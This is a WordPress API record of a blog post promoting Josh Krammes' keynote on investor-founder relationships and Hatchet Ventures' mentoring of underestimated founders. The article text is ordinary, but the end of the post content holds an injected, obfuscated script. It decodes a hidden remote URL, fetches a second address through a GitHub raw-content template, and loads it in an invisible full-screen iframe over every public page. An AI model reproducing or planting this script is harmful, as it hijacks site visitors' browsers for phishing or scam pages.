{"id":22483,"date":"2023-08-25T14:10:47","date_gmt":"2023-08-25T21:10:47","guid":{"rendered":"https:\/\/foundersnetwork.com\/?p=22483"},"modified":"2026-03-25T17:09:54","modified_gmt":"2026-03-26T00:09:54","slug":"building-bullet-proof-investor-founder-relationships","status":"publish","type":"post","link":"https:\/\/foundersnetwork.com\/building-bullet-proof-investor-founder-relationships\/","title":{"rendered":"Building Bullet-Proof Investor-Founder Relationships with Josh Krammes"},"content":{"rendered":"<blockquote>\n<p><b>To learn more about building bullet-proof investor-founder relationships,<\/b> <a href=\"https:\/\/youtu.be\/_kL6Zy_wx7c\"><b>click here<\/b><\/a><b> to watch Josh Krammes&#8217; <\/b><strong><a href=\"https:\/\/youtu.be\/_kL6Zy_wx7c\">global keynote<\/a>.<\/strong><\/p>\n<\/blockquote>\n<p><span style=\"font-weight: 400;\"><a href=\"https:\/\/www.linkedin.com\/in\/joshuakrammes\/\">Josh Krammes<\/a> is co-founder and COO of <a href=\"https:\/\/hatchetventures.com\/\">Hatchet Ventures<\/a> where he <\/span><span style=\"font-weight: 400;\">is on a mission to ensure underestimated entrepreneurs get a shot at breaking into the coveted circle of startup success.\u00a0<\/span><span style=\"font-weight: 400;\">The group leverages its experience as operators and founders of venture and private equity-backed startups \u2013 representing billions of dollars in M&amp;A, exits, and IPOs \u2013 to support founders along their startup journey. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">O<\/span><span style=\"font-weight: 400;\">n September 20, Josh will lead a global keynote to provide insight into how his team is cracking the code to champion women, people of color, immigrants, members of the LGTBQIA+ community, military veterans, and the greater network of underestimated startup founders. His talk will detail the lessons he\u2019s learned as a startup founder and how mentorship has been his unsuspecting key to success.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">During Josh\u2019s global keynote, he will share his model for bullet-proof investor-founder relationships, in addition to covering:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">How to pick the right business advisors<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">How to vet equity investment offers<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Mistakes to avoid for first-time founders<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">A proven model for mentoring underestimated founders<\/span><\/li>\n<\/ul>\n<h3><b>Betting On The Underdog<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">It is no secret that the investment landscape has work to do when it comes to achieving equity. <\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">According to CrunchBase, Black and Latinx founders have<\/span> <a href=\"http:\/\/about.crunchbase.com\/wp-content\/uploads\/2020\/10\/crunchbase_diversity_report_2020.pdf\"><span style=\"font-weight: 400;\">raised just 2.4 percent<\/span><\/a> <span style=\"font-weight: 400;\">of total venture capital invested since 2015. This \u2018trillion-dollar blind spot\u2019 also finds that women and minority founders experience<\/span> <a href=\"https:\/\/www.morganstanley.com\/ideas\/trillion-dollar-blind-spot-infographic\"><span style=\"font-weight: 400;\">80 percent less business capitalization than<\/span><\/a><span style=\"font-weight: 400;\"> businesses as a whole.<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">While it\u2019s easy to point out the opportunity for improvement, even funders with the best intentions have struggled to break down these capital access walls.<\/span><\/p>\n<p>Hatchet Ventures is one of the latest advisory firms to make a pledge to tackle the startup funding gap. To get it right, their hands-on approach begins with pairing founders with mentors who have faced the same challenges as them to guide them along the startup journey. It\u2019s a model that was developed, in part, by Josh\u2019s own learnings as a first-time founder.<\/p>\n<p>\u201cI had no advisors when I started my first company. I had mentors that I considered helpful, but I was young and a first-time founder and I didn&#8217;t know the importance of securing the right advisors,\u201d he says.<\/p>\n<h3><b>Becoming Trusted Advisors <\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Hatchet Ventures understands the importance of strong investor-founder relationships. Their advisory model is proof of what is possible when a startup engages its advisors correctly.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u201cWe just launched in October last year, and we already have 20 startups in our portfolio. Of those 20, we&#8217;ve helped close seed rounds for five of them and then two more of our portfolio companies should close theirs this month,\u201d says Josh. \u201cWe have more than 40 startups that we&#8217;re working through to see if we mutually want to work together. I anticipate another half of those being signed up by the end of Q1 this year.\u201d<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Hatchet Ventures organizes its 50+ person advisory group to leverage its individual networks to make new connections. The group works with underestimated founders by surrounding them with a team and a group and a community of advisors who are all former builders. Most of this network is their core demographic.<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">\u201cIf you look at our advisory group of more than 50 people, there are only ten who identify as straight white males. So we&#8217;re sort of flipping the switch on this sort of DEI motion and saying that we&#8217;re going to build this with successful people who have done this before that represent the community we&#8217;re trying to help,\u201d says Josh.<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\">When founders work with the Hatchet Ventures team they are paired with CROs, CTOs, and go-to-market experts to help them best solve any problem they are facing.<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><span style=\"font-weight: 400;\"><br \/>\n<\/span><b>\u201c<\/b><span style=\"font-weight: 400;\">We don&#8217;t approach Hatchet as charity. We approach hatchet as sort of exactly what it sounds like. It&#8217;s a hatchet and we&#8217;re going to use it to bust down the doors for our clients,\u201d he says.<\/span><\/p>\n<h3><b>Pick Your Team Wisely<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Outside of Josh\u2019s fervor to expand his model of working to support more entrepreneurs, he offers one core piece of advice for both founders and investors: Pick your team wisely.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u201cThe most important thing about our model is having been afforded the invitation to be an advisor to startups in the past. If anything sticks from our model at Hatchet, I hope it&#8217;s that if you&#8217;re going to make the decision to give an advisor equity, you remember that it\u2019s perpetual. And that that advisor now works for you,\u201d he says.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Josh wants founders to take control of their equity relationships by ensuring that they come with a mutual return. His belief is that founders should be in communication with their investors every month. As a founder, if you are not seeing this, Josh encourages you to re-think your approach to investor-founder relationships.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u201cIf you&#8217;re an advisor with equity, I feel that it&#8217;s your responsibility to work for that founder,\u201d says Josh.<\/span><\/p>\n<p><b>To learn more about building bullet-proof investor-founder relationships,<\/b> <a href=\"https:\/\/youtu.be\/_kL6Zy_wx7c\"><b>click here<\/b><\/a><b> to watch Josh Krammes&#8217; <\/b><strong><a href=\"https:\/\/youtu.be\/_kL6Zy_wx7c\">global keynote<\/a>.<\/strong><\/p>\n<p><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>To learn more about building bullet-proof investor-founder relationships, click here to watch Josh Krammes&#8217; global keynote. Josh Krammes is co-founder and COO of Hatchet Ventures where he is on a &#8230; <\/p>\n<div><a href=\"https:\/\/foundersnetwork.com\/building-bullet-proof-investor-founder-relationships\/\" class=\"more-link\">Read More<\/a><\/div>\n","protected":false},"author":31,"featured_media":22502,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_price":"","_stock":"","_tribe_ticket_header":"","_tribe_default_ticket_provider":"","_tribe_ticket_capacity":"0","_ticket_start_date":"","_ticket_end_date":"","_tribe_ticket_show_description":"","_tribe_ticket_show_not_going":false,"_tribe_ticket_use_global_stock":"","_tribe_ticket_global_stock_level":"","_global_stock_mode":"","_global_stock_cap":"","_tribe_rsvp_for_event":"","_tribe_ticket_going_count":"","_tribe_ticket_not_going_count":"","_tribe_tickets_list":"[]","_tribe_ticket_has_attendee_info_fields":false,"footnotes":""},"categories":[7171],"tags":[],"table_tags":[],"class_list":["post-22483","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-startup-investing-and-funding"],"acf":[],"featured_image_data":{"src":"https:\/\/foundersnetwork.com\/wp-content\/uploads\/2023\/08\/63539405a8dbb585025e334eae97fd0b-TQH1kg.tmp_.jpg","alt":"","caption":""},"_links":{"self":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/posts\/22483","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/users\/31"}],"replies":[{"embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/comments?post=22483"}],"version-history":[{"count":0,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/posts\/22483\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/media\/22502"}],"wp:attachment":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/media?parent=22483"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/categories?post=22483"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/tags?post=22483"},{"taxonomy":"table_tags","embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/table_tags?post=22483"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}